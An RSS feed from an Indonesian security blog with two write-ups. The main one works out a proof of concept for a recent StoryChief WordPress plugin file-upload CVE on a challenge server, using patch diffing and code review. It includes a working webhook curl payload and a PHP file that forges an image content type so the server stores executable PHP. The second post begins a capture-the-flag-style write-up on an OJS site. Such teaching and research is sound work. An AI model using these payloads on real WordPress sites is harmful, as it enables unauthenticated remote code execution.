<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>xpl0dec, Pengarang di Bhineka blog</title>
	<atom:link href="https://blog.bhineka-tech.org/author/xpl0dec/feed/" rel="self" type="application/rss+xml" />
	<link>https://blog.bhineka-tech.org/author/xpl0dec/</link>
	<description></description>
	<lastBuildDate>Fri, 29 Aug 2025 17:27:39 +0000</lastBuildDate>
	<language>id</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.8.2</generator>

<image>
	<url>https://blog.bhineka-tech.org/wp-content/uploads/2024/10/logo-bintek-min.jpg</url>
	<title>xpl0dec, Pengarang di Bhineka blog</title>
	<link>https://blog.bhineka-tech.org/author/xpl0dec/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>WordPress CVE reversing</title>
		<link>https://blog.bhineka-tech.org/2025/08/23/wordpress-cve-reversing/</link>
					<comments>https://blog.bhineka-tech.org/2025/08/23/wordpress-cve-reversing/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Sat, 23 Aug 2025 10:14:01 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[web exploitation]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=587</guid>

					<description><![CDATA[<p>Langsung saja, jadi disini aku bakal memberikan write up dan solusi terkait challenge yang aku share dengan judul CVE reversing pada plugin wordpress StoryChief. pada challenge ini, kita diharuskan untuk crafting PoC atau exploit dari refrensi dan deskripsi singkat pada CVE-2025-7441. Karena CVE ini tergolong masih baru jadi tidak ada satupun source yang mempublikasikan PoC [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/08/23/wordpress-cve-reversing/">WordPress CVE reversing</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Langsung saja, jadi disini aku bakal memberikan write up dan solusi terkait challenge yang aku share dengan judul CVE reversing pada plugin wordpress StoryChief. </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-97e86da769475e9baa7b7a29aa42309b"><code>*CVE Reversing Challenge*
host: http://143.198.193.102/
Level: Up to you!!

Task ? 
Baru baru ini sekitar 5 hari lalu, wordfence mempublikasikan suatu CVE pada plugin wordpress _storychief_ yang dimana kerentanan pada CVE ini berada pada score 9.8 atau sangat critical karena attacker bisa melakukan arbitrary file write/upload dengan status unauthenticated yang dapat mengarah ke RCE. Tugas kalian yaitu membuat suatu script PoC sendiri dengan melakukan research, diffing dan reversing pada source code di plugin ini. Jangan buang buang waktu untuk mencari script exploit/PoC di internet karena tidak ada satupun sumber yang mempublikasikan PoC pada CVE ini, karena tergolong masih baru. 

Biar tambah semangat, untuk yang solve first blood akan mendapat hadiah 100K dan semoga berhasill.

solve? untuk flag ada di directory /root tapi jika kalian berhasil mendapat akses www-data saja sudah cukup, yang terpenting hasil dari PoC exploitnya bukan pada flagnya

reference CVE-2025-7441 :
https:&#47;&#47;www.wordfence.com/threat-intel/vulnerabilities/id/979efaa4-10f1-4c7f-b4b0-5a41678c9d66?source=cve

#HappyHacking</code></pre>



<p>pada challenge ini, kita diharuskan untuk crafting PoC atau exploit dari refrensi dan deskripsi singkat pada CVE-2025-7441. Karena CVE ini tergolong masih baru jadi tidak ada satupun source yang mempublikasikan PoC atau exploitnya di internet. Cara satu satunya dengan melakukan research dan mencoba untuk menemukan secara mandiri.</p>



<p>Sebelum itu penting sekali untuk mengerti syntax dasar dan terbiasa menggunakan PHP dan juga sedikit perlu paham terkait struktur dari CMS wordpress. Mari kita lihat deskripsi dari CVE-nya</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-fd012679cc49191c9f7a579a53fe233f"><code>The StoryChief plugin for WordPress is vulnerable to arbitrary file uploads in all versions up to, and including, 1.0.42. This vulnerability occurs through the /wp-json/storychief/webhook REST-API endpoint that does not have sufficient filetype validation. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.</code></pre>



<p>Intinya dikatakan jika plugin StoryChief pada versi dan sebelum 1.0.42 terdapat vulnerabiilty yang dimana attacker bisa melakukan arbitrary file upload melalui /wp-json/storychief/webhook, dan ngerinya lagi bug ini bisa dipicu tanpa login terlebih dahulu atau unauthenticated, nah maka dari sini kenapa CVSS score pada vulnerability ini sangat critical yaitu 9.8.</p>



<p>CVE reversing itu merupakan suatu upaya atau proses untuk membuat Proof-Of-Concept dari suatu kerentanan yang sudah diketahui(CVE) atau bisa kita sebut juga sebagai 1-day, secara umum caranya yaitu dengan melakukan patch diff(perbandingan) source code dari versi rentan dan yang sudah diperbaiki untuk melihat kerentanan yang dapat dimanfaatkan.</p>



<p>Tapi beruntungnya, tidak seperti pada vendor atau product perusahaan besar yang close source, pada wordpress sendiri melakukan CVE reversing ini masih tergolong mudah karena source code dipublikasikan ya setidaknya kita tidak perlu effort melakukan reverse engineering dan memahami di sisi low levelnya. Karena untuk melakukan patch diff pada wordpress kita bisa langsung mengunjungi <a href="https://plugins.trac.wordpress.org/ ">https://plugins.trac.wordpress.org/ </a> dan melihat perbandingan kode antar versi </p>



<p>Pada CVE ini, wordfence juga menyediakan refrensi diffing dan hal ini sangat berguna untuk kita identifikasi dan melakukan source code review</p>



<p><a href="https://plugins.trac.wordpress.org/changeset/3344874">https://plugins.trac.wordpress.org/changeset/3344874</a></p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="547" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1024x547.png" alt="" class="wp-image-588" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1024x547.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-300x160.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-768x410.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image.png 1379w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini terlihat beberapa file yang diubah pada versi baru, atau dalam hal ini developer melakukan patching dari kerentanan pada CVE tersebut.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="602" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1-1024x602.png" alt="" class="wp-image-590" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1-1024x602.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1-300x176.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1-768x452.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1-1536x904.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-1.png 1586w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Pada file <a href="https://plugins.trac.wordpress.org/changeset/3344874/story-chief/tags/1.0.43/includes/class.imageuploader.php">class.imageuploader.php</a>&nbsp;terdapat banyak perubahan, disini kita bisa melihat jika block merah artinya code yang dihapus dan block hijau yaitu code yang ditambahkan. pada file ini juga terdapat instansiasi CURL yang dalam hal ini kita mendapat gambaran sekilas bagaimana kerentanan terjadi.</p>



<p>Mari kita lihat source codenya secara utuh pada <a href="https://github.com/Story-Chief/wordpress/releases">https://github.com/Story-Chief/wordpress/releases</a> yang pada github ini merupakan versi 1.0.41 sedangkan patching dilakukan pada v1.0.43 jadi pada github ini masih tergolong versi rentan yang belum di patch</p>



<p>Seperti pada deskripsi yang mengatakan jika kerentanan dipicu melalui endpoint <em>/wp-json/storychief/webhook</em> jadi kata kunci penting disini ada pada webhook, yang pada plugin StoryChief juga terdapat file dengan nama <strong><em>webhook.php</em></strong></p>



<p>Disini kita bisa mulai melakukan source code review, tapi sebelum itu kita perlu tau konsep saat melakukan source code review dan tidak melakukan asal asalan. Bahkan owasp sendiri juga mempublikasikan standar guide untuk ini yaitu SAST(Static Analysis Security Testing) <a href="https://owasp.org/www-project-code-review-guide/assets/OWASP_Code_Review_Guide_v2.pdf">https://owasp.org/www-project-code-review-guide/assets/OWASP_Code_Review_Guide_v2.pdf</a> yang berisi panduan bagaimana best practice saat melakukan source code review. Agar lebih singkat, yang perlu kita pahami saat melakukan source code review yaitu &#8220;source&#8221; dan &#8220;sinks&#8221;, source merupakan dimana code yang kemungkinan terjadi kerentanan dan sinks yaitu tempat kerentanan sebenarnya terjadi.  </p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="747" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-4-1024x747.png" alt="" class="wp-image-593" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-4-1024x747.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-4-300x219.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-4-768x561.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-4.png 1048w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>yang pada webhook.php disini kita menemukan input yang bisa kita kontrol yaitu fungsi register_routes() yang dimana pada array &#8220;callback&#8221; memanggil fungsi handle() dan pada fungsi handle() juga terdapat json_decode() yang melakukan decode pada inputan POST kita, pada blok kode ini bisa kita katakan &#8220;source&#8221; atau sumber terjadinya kerentanan, dan untuk &#8220;sinks&#8221; kita akan mencoba identifikasi lebih lanjut </p>



<p>fungsi upload pada PHP dan wordpress sendiri kita bisa klasifikasikan sebagai berikut :</p>



<ul class="wp-block-list">
<li>potensi fungsi upload PHP 
<ul class="wp-block-list">
<li><a href="https://www.php.net/manual/en/function.move-uploaded-file.php" target="_blank" rel="noreferrer noopener"><code>move_uploaded_file</code></a></li>



<li><a href="https://www.php.net/manual/en/function.file-put-contents" target="_blank" rel="noreferrer noopener"><code>file_put_contents</code></a></li>



<li><a href="https://www.php.net/manual/en/function.fwrite" target="_blank" rel="noreferrer noopener"><code>fwrite</code></a></li>



<li><a href="https://www.php.net/manual/en/function.fputs.php" target="_blank" rel="noreferrer noopener"><code>fputs</code></a></li>



<li><a href="https://www.php.net/manual/en/function.copy.php" target="_blank" rel="noreferrer noopener"><code>copy</code></a></li>



<li><a href="https://www.php.net/manual/en/function.fputcsv.php" target="_blank" rel="noreferrer noopener"><code>fputcsv</code></a></li>



<li><a href="https://www.php.net/manual/en/function.rename.php" target="_blank" rel="noreferrer noopener"><code>rename</code></a></li>
</ul>
</li>



<li>potensi fungsi upload WordPress 
<ul class="wp-block-list">
<li><a href="https://developer.wordpress.org/reference/classes/wp_filesystem_direct/put_contents/" target="_blank" rel="noreferrer noopener"><code>WP_Filesystem_Direct::put_contents</code></a></li>



<li><a href="https://developer.wordpress.org/reference/classes/wp_filesystem_direct/move/" target="_blank" rel="noreferrer noopener"><code>WP_Filesystem_Direct::move</code></a></li>



<li><a href="https://developer.wordpress.org/reference/classes/wp_filesystem_direct/copy/" target="_blank" rel="noreferrer noopener"><code>WP_Filesystem_Direct::copy</code></a></li>
</ul>
</li>
</ul>



<p>Jika mengacu pada kerentanan Arbitrary File Upload, pasti salah satu fungsi diatas digunakan dan pada visual studio code kita bisa mencari pada fitur searching string</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="479" height="286" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-5.png" alt="" class="wp-image-594" style="width:764px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-5.png 479w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-5-300x179.png 300w" sizes="auto, (max-width: 479px) 100vw, 479px" /></figure>



<p>fungsi file_put_contents() dipanggil pada file class.imageuploader.php, persis seperti pada patch diff yang kita identifikasi sebelumnya</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="665" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-6-1024x665.png" alt="" class="wp-image-595" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-6-1024x665.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-6-300x195.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-6-768x499.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-6.png 1109w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>fungsi save() disini yang memanggil file_put_contents dan juga terdapat suatu instansiasi CURL, dan asumsi awal sepertinya fungsi ini mendownload file dari URL external yang kemudian diletakkan pada directory /wp-content/uploads/ karena terdapat fungsi wp_upload_dir()</p>



<p>disini &#8220;Sinks&#8221; ditemukan pada fungsi save() yaitu fungsi file_put_contents(), nah jika kita sudah mengelompokkan seperti ini baru berfikir bagaimana dari &#8220;source&#8221; / inputan user berpindah ke &#8220;sinks&#8221; yang menjalankan fungsi file_put_contents().</p>



<p>Sekarang kita balik ke &#8220;source&#8221; dan mencoba untuk memahaminya</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="718" height="371" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-8.png" alt="" class="wp-image-597" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-8.png 718w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-8-300x155.png 300w" sizes="auto, (max-width: 718px) 100vw, 718px" /></figure>



<p>terdapat 2 validasi, pada payload json yang kita inputkan. validasi pertama yaitu <strong><em>\Storychief\Tools\validMac($payload)</em></strong> yang disini memanggil fungsi validMac pada file tools.php</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="784" height="193" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-10.png" alt="" class="wp-image-600" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-10.png 784w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-10-300x74.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-10-768x189.png 768w" sizes="auto, (max-width: 784px) 100vw, 784px" /></figure>



<p>Disini melakukan comparison atau perbandingan jika mac tidak sama pada payload maka gagal atau return false, jadi kira kira logic sederhananya seperti ini : </p>



<ol class="wp-block-list">
<li>kita input : payload=heker</li>



<li>maka gagal karena harus ada parameter mac</li>



<li>jadi harusnya gini: payload=heker&amp;mac=123</li>



<li>ini juga tidak valid karena mac tidak sama</li>



<li>tapi disana ada unset($payload[&#8216;meta&#8217;][&#8216;mac&#8217;]);</li>



<li>artinya mac diambil atau hasil payload=heker yang dihash sha256</li>



<li>jadi kita perlu hash sha256 pada &#8220;payload=heker&#8221; dan digunakan untuk mac</li>
</ol>



<p>Semoga bisa dipahami, jadi kita kecualikan untuk macnya dan lanjut susun payloadnya tanpa mac terlebih dulu.</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-82f6112c2707897ae94f96979b9a6192"><code>if (! isset($payload&#91;'meta']&#91;'event'])) {
        return new WP_Error('no_event_type', 'The event is not set', &#91;'status' =&gt; 400]);
    }

//code lain
... 
...

switch ($payload&#91;'meta']&#91;'event']) {
        case 'publish':
            $response = handlePublish($payload);
            break;
        case 'update':
            $response = handleUpdate($payload);
            break;
        case 'delete':
            $response = handleDelete($payload);
            break;
        case 'test':
            $response = handleConnectionCheck($payload);
            break;
        default:
            $response = missingMethod();
            break;
    }</code></pre>



<p>validasi kedua ada <strong><em>$payload[&#8216;meta&#8217;][&#8216;event&#8217;]</em></strong> yang kemudian dilakukan switch case ya, yang jika kita isi <em><strong>$payload[&#8216;meta&#8217;][&#8216;event&#8217;]</strong></em> publish maka akan menuju ke fungsi <strong><em>handlePublish()</em></strong> dan kira kira seperti ini payloadnya </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-af10263faf96514c77ca86b97c0262d1"><code>curl -d '{"meta": {"event" : "publish"}}' http://143.198.193.102/wp-json/storychief/webhook</code></pre>



<p>Jadi kita disini asumsinya sudah menuju ke fungsi handlePublish</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="916" height="546" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-11.png" alt="" class="wp-image-601" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-11.png 916w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-11-300x179.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-11-768x458.png 768w" sizes="auto, (max-width: 916px) 100vw, 916px" /></figure>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="803" height="328" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-13.png" alt="" class="wp-image-603" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-13.png 803w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-13-300x123.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-13-768x314.png 768w" sizes="auto, (max-width: 803px) 100vw, 803px" /></figure>



<p>Diatas kita menemukan fungsi wordpress do_action yang memanggil fungsi callback <strong><em>storychief_save_featured_image_action</em></strong> yang jika kita search pada vscode, ditemukan pada file <em><strong>mapping.php</strong></em></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="269" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-14-1024x269.png" alt="" class="wp-image-604" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-14-1024x269.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-14-300x79.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-14-768x202.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-14.png 1296w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Dan yap, kita menemukan fungsi yang memanggil class ImageUploader dengan method save() dan fungsi ini yang digunakan untuk upload file, jadi sekarang kita sudah mengetahui data flow terjadinya kerentanan jadi mari kita rangkai payloadnya, dan kita sesuaikan dengan validasi pada variable <em><strong>$story[&#8216;featured_image&#8217;][&#8216;data&#8217;][&#8216;sizes&#8217;][&#8216;full&#8217;]</strong></em></p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-0790929f7b053f46063af2137c6e6e04"><code>{
  "meta": {
    "event": "publish"
  },
  "data": {
    "featured_image": {
      "data": {
        "sizes": {
          "full": "http://143.198.193.102:8000/cek.php"
        }
      }
    }
  }
}</code></pre>



<p>dan payloadnya akan seperti diatas, nah baru pada payload ini kita bisa meng-hasilkan hmac dengan melakukan encode dan hash ke sha256</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1009" height="560" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-16.png" alt="" class="wp-image-606" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-16.png 1009w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-16-300x167.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-16-768x426.png 768w" sizes="auto, (max-width: 1009px) 100vw, 1009px" /></figure>



<p>dan setelah hmac didapatkan sekarang kita perlu menghost php file pada vps atau hosting pribadi karena nama file yang disimpan diambil dari nama path external</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-149e1c647867074d3eb4bd53660fa411"><code> <em><strong>  public function getFilename()
    {
        $filename = basename($this-&gt;url);
        $this-&gt;filename = $filename;
        return $filename;
    }</strong></em></code></pre>



<p>Juga ada sedikit restriksi, dimana content-type yang diizinkan harus image</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-bd18cafd3b09e6e53dab370ef8dba859"><code>$image_type = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
 if (strpos($image_type, 'image') === false) {
      return false;
 }</code></pre>



<p>dan kita bisa membypass-nya dengan membuat file php seperti ini pada vps/hosting : </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-aa05a39e5ca2226dee30e7bab81c026a"><code>&lt;?php
header("Content-Type: image/jpeg");
echo "&lt;?php phpinfo(); ?&gt;";

?&gt;</code></pre>



<p>Yang dimana akan memforce atau memaksa header jika content-type diset ke image/jpeg meskipun raw datanya merupakan plain-text, dan untuk <strong><em>echo &#8220;&lt;?php phpinfo(); ?&gt;&#8221;;</em></strong> bisa disesuaikan lagi, karena disini hanya untuk tujuan demontrasi jadi cukup memanggil phpinfo() saja</p>



<p>Kasus disini aku memakai vps dan menjalankan php webserver </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="184" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-15-1024x184.png" alt="" class="wp-image-605" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-15-1024x184.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-15-300x54.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-15-768x138.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-15-1280x231.png 1280w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-15.png 1288w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terakhir payload final dan exploit akan menjadi seperti ini </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-2a8588ab4d6978bd507e695e213acdc3"><code>curl -d '{"meta": {"mac":"2ddae0879f0bdf1d1d4c86713da237d82a028482aeab7a7f3d84e1e8a3d7748d", "event" : "publish"}, "data" : {"featured_image" : {"data" : {"sizes" : {"full": "http://143.198.193.102:8000/cek.php"}}}}}' http://143.198
.193.102/wp-json/storychief/webhook</code></pre>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="99" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-17-1024x99.png" alt="" class="wp-image-607" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-17-1024x99.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-17-300x29.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-17-768x75.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-17-1536x149.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-17.png 1688w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>dan untuk melihat hasil uploadnya, kita bisa mengacu pada fungsi ini di file class.imageuploader.php</p>



<pre class="wp-block-code"><code>wp_upload_dir(date('Y/m', $this-&gt;post-&gt;post_date ? strtotime($this-&gt;post-&gt;post_date) : time()));</code></pre>



<p>yang disini memanggil date dengan parameter pertama &#8216;Y/m&#8217; artinya tahun/bulan, jadi jika sekarang tahun 2025 dan bulan 08 maka akan menjadi <strong><em>/wp-content/uploads/2025/08/cek.php</em></strong></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="517" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-18-1024x517.png" alt="" class="wp-image-608" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-18-1024x517.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-18-300x152.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-18-768x388.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-18-1536x776.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/08/image-18.png 1756w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Dan exploit berhasil, untuk PoC automation lengkapnya yang ku publish di exploit-db bisa langsung kunjungi link berikut <a href="https://www.exploit-db.com/exploits/52422">https://www.exploit-db.com/exploits/52422</a> . jadi mungkin sekian itu saja dan semoga bermanfaat.</p>



<p><em><strong>“Ilmu itu cahaya, dan belajar adalah menyalakan lentera dalam kegelapan.”</strong></em> – <strong>Imam Al-Ghazali</strong></p>



<p></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/08/23/wordpress-cve-reversing/">WordPress CVE reversing</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2025/08/23/wordpress-cve-reversing/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>WriteUp Hacking Challenge &#8211; Bhineka Tech</title>
		<link>https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/</link>
					<comments>https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Tue, 29 Jul 2025 05:55:07 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[red team]]></category>
		<category><![CDATA[web exploitation]]></category>
		<category><![CDATA[web pentesting]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=557</guid>

					<description><![CDATA[<p>Ya sekian beberapa hari ini akhirnya ada waktu untuk membuat artikel jadi disini aku akan memberikan detail bagaimana menyelesaikan challenge yang sebelumnya aku share pada group Bhineka Tech, dengan deskripsi sebagai berikut Jadi kita diminta untuk mendapatkan flag user dan root yang berada pada directory yang sudah ditentukan diantaranya yaitu /root dan /var/www/html, nah uniknya [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/07/29/writeup-hacking-challenge-bhineka-tech/">WriteUp Hacking Challenge &#8211; Bhineka Tech</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Ya sekian beberapa hari ini akhirnya ada waktu untuk membuat artikel jadi disini aku akan memberikan detail bagaimana menyelesaikan challenge yang sebelumnya aku share pada group Bhineka Tech, dengan deskripsi sebagai berikut</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-25dbc8fd7bd55d167cb2c9a937337ec3"><code>Pentesting &amp; Hacking Challenge

host: http://157.230.255.81/

Description:
Rafli seorang freelance web developer mendapatkan client di salah satu universitas swasta yang dimana client tersebut meminta untuk dibuatkan website publikasi jurnal ilmiah, dengan deadline 2 minggu. Rafli pun bersedia, dan kurang dari waktu yang ditentukan, Rafli menyelesaikan websitenya dan langsung dilakukan deployment oleh pihak kampus. Selang beberapa minggu terdapat anomaly log dan ditemukan file berupa sitemap.xml, google1337.html pada document_root yang terindikasi digunakan untuk blackhat seo perjudian.

Task:
Sebagai seorang security engineer, bantu Rafli mengidentifikasi kerentanan pada aplikasi yang dibuatnya dan lakukan evaluasi sampai sejauh mana attacker mendapatkan akses pada server.

Format flag: bhitech{}
Level: Medium / up to you

Note: ada 2 flag, yaitu user dan root. root flag berada pada directory /root sedangkan user flag berada pada /var/www/html dan server direset tiap 1 jam 30 menit sekali 

Clue ? Kubernetes breakout</code></pre>



<p>Jadi kita diminta untuk mendapatkan flag user dan root yang berada pada directory yang sudah ditentukan diantaranya yaitu /root dan /var/www/html, nah uniknya pada deskripsi juga terdapat tambahan clue yakni Kubernetes Breakout, dan sepertinya terkait dengan misconfiguration dan escape pada pods di kubernetes jadi mari kita bedah lebih lanjut</p>



<p>Jika dibuka via browser, disuguhkan website yang menggunakan CMS OJS(Open Journal System)</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="534" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-1024x534.png" alt="" class="wp-image-558" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-1024x534.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-300x156.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-768x400.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image-1536x800.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/07/image.png 1894w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>OJS ini merupakan suatu platform / CMS untuk publikasi jurnal ilmiah dan CMS ini open source, namun pada OJS sendiri sudah lama terdapat banyak security issue yang beredar mulai dari versi 2.x.x hingga 3.x.x dan banyak dimanfaatkan oleh script kiddies maupun hacker pemula untuk melakukan akses ilegal karena kemudahan exploitnya </p>



<p>Contohnya seperti di github issue ini <a href="https://github.com/pkp/pkp-lib/issues/7786 ">https://github.com/pkp/pkp-lib/issues/7786 </a>lalu di cxsecurity mengenai PoC-nya <a href="https://cxsecurity.com/issue/WLB-2021100133">https://cxsecurity.com/issue/WLB-2021100133</a> dan juga ada artikel yang menyebutkan jika OJS ini mengidap suatu zeroday <a href="https://openjournaltheme.com/urgent-critical-vulnerabilities-in-3-3-0-18-upgrade-your-ojs-now/">https://openjournaltheme.com/urgent-critical-vulnerabilities-in-3-3-0-18-upgrade-your-ojs-now/</a></p>



